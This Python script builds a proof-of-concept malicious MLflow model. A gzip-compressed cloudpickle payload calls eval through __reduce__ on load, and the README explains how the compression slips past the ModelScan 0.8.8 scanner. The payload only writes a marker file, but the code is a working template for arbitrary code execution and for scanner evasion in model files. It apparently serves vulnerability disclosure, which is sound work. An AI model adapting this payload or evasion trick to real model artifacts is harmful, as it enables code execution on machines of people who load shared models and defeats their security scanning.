import gzip
import sys
from pathlib import Path

import cloudpickle
import mlflow
import yaml


MARKER_FILE = "mlflow_compressed_pickle_marker.txt"
MARKER_TEXT = "MLFLOW_COMPRESSED_PICKLE_BYPASS"


class CompressedPicklePayload:
    def __reduce__(self):
        expr = (
            "(__import__('pathlib').Path(%r).write_text(%r), "
            "type('MarkerOnlyModel', (), {"
            "'load_context': lambda self, context: None, "
            "'predict': lambda self, *args, **kwargs: ['ok']"
            "})())[1]"
        ) % (MARKER_FILE, MARKER_TEXT)
        return (eval, (expr,))


def write_text(path: Path, content: str) -> None:
    path.write_text(content, encoding="utf-8")


def build_model(out_dir: Path) -> None:
    out_dir.mkdir(parents=True, exist_ok=True)

    with gzip.open(out_dir / "python_model.pkl.gz", "wb") as f:
        cloudpickle.dump(CompressedPicklePayload(), f)

    mlmodel = {
        "artifact_path": "mlflow-compressed-pickle-modelscan-bypass-poc",
        "flavors": {
            "python_function": {
                "cloudpickle_version": cloudpickle.__version__,
                "loader_module": "mlflow.pyfunc.model",
                "python_model": "python_model.pkl.gz",
                "python_model_compression": "gzip",
                "python_version": ".".join(map(str, sys.version_info[:3])),
            }
        },
        "mlflow_version": mlflow.__version__,
        "utc_time_created": "2026-07-03 00:00:00.000000",
    }

    with (out_dir / "MLmodel").open("w", encoding="utf-8") as f:
        yaml.safe_dump(mlmodel, f, sort_keys=False)

    write_text(out_dir / "requirements.txt", "mlflow @ git+https://github.com/mlflow/mlflow.git@6dcba5418220557ca2256ac4252cb6b58aad89b3\nmodelscan==0.8.8\n")
    write_text(
        out_dir / "README.md",
        """# MLflow Compressed Pickle ModelScan Bypass PoC

This is a harmless proof-of-concept for an MLflow model-file scanner gap.

The `MLmodel` metadata points MLflow's `python_function` flavor at
`python_model.pkl.gz` and declares `python_model_compression: gzip`.
MLflow decompresses that file and passes it to `cloudpickle.load()` when
unsafe pickle deserialization is explicitly enabled.

ModelScan 0.8.8 does not inspect the compressed pickle because it only sees
the final `.gz` suffix, so the artifact is skipped and no issue is reported.

The payload is non-destructive. It only writes
`mlflow_compressed_pickle_marker.txt` containing
`MLFLOW_COMPRESSED_PICKLE_BYPASS`.

## Reproduce

```bash
pip install -r requirements.txt
python verify_poc.py --model-dir .
```

Default MLflow loading blocks pickle deserialization. The verification script
then sets `MLFLOW_ALLOW_PICKLE_DESERIALIZATION=true` to demonstrate the unsafe
load path and marker creation.
""",
    )


if __name__ == "__main__":
    target = Path(sys.argv[1]) if len(sys.argv) > 1 else Path("mlflow_compressed_pickle_poc")
    build_model(target)
    print(target.resolve())